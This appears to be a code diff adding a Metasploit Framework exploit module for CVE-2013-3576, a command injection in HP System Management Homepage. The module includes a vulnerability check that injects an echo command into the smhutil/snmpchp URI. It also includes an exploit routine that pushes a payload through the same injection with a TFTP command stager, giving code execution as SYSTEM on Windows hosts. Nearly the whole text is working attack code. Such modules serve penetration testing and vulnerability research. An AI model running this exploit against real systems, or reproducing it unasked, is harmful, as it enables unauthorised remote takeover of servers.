1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::CmdStagerTFTP
14
+ include Msf ::Exploit ::Remote ::HttpClient
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection" ,
19
+ 'Description' => %q{
20
+ This module exploits a vulnerability found in HP System Management Homepage. By
21
+ supplying a specially crafted HTTP request, it is possible to control the
22
+ 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
23
+ which will be used in a exec() function. This results in arbitrary code execution
24
+ under the context of SYSTEM.
25
+ } ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Author' =>
28
+ [
29
+ 'Markus Wulftange' ,
30
+ 'sinn3r' #Metasploit
31
+ ] ,
32
+ 'References' =>
33
+ [
34
+ [ 'CVE' , '2013-3576' ] ,
35
+ [ 'OSVDB' , '94191' ] ,
36
+ [ 'US-CERT-VU' , '735364' ]
37
+ ] ,
38
+ 'Payload' =>
39
+ {
40
+ 'BadChars' => "\x00 "
41
+ } ,
42
+ 'DefaultOptions' =>
43
+ {
44
+ 'SSL' => true
45
+ } ,
46
+ 'Platform' => 'win' ,
47
+ 'Targets' =>
48
+ [
49
+ [ 'Windows' , { } ] ,
50
+ ] ,
51
+ 'Privileged' => false ,
52
+ 'DisclosureDate' => "Jun 11 2013" ,
53
+ 'DefaultTarget' => 0 ) )
54
+ register_options (
55
+ [
56
+ Opt ::RPORT ( 2381 )
57
+ ] , self . class )
58
+ end
59
+
60
+ def peer
61
+ "#{ rhost } :#{ rport } "
62
+ end
63
+
64
+ def check
65
+ sig = Rex ::Text . rand_text_alpha ( 10 )
66
+ cmd = Rex ::Text . uri_encode ( "echo #{ sig } " )
67
+ uri = normalize_uri ( "smhutil" , "snmpchp/" ) + "&&#{ cmd } &&echo"
68
+
69
+ res = send_request_raw ( { 'uri' => uri } )
70
+ if not res
71
+ print_error ( "#{ peer } - Connection timed out" )
72
+ return Exploit ::CheckCode ::Unknown
73
+ end
74
+
75
+ return Exploit ::CheckCode ::Vulnerable if res . body =~ /#{ sig } /
76
+ Exploit ::CheckCode ::Safe
77
+ end
78
+
79
+ def setup_stager
80
+ execute_cmdstager ( { :temp => '.' } )
81
+ end
82
+
83
+ def execute_command ( cmd , opts = { } )
84
+ # Payload will be: C:\hp\hpsmh\data\htdocs\smhutil
85
+ uri = Rex ::Text . uri_encode ( "#{ @uri } #{ cmd } &&echo" )
86
+ print_status ( "#{ peer } - Executing: #{ cmd } " )
87
+ res = send_request_raw ( { 'uri' => uri } )
88
+ end
89
+
90
+ def exploit
91
+ @uri = normalize_uri ( 'smhutil' , 'snmpchp/' ) + "&&"
92
+ setup_stager
93
+ end
94
+ end
0 commit comments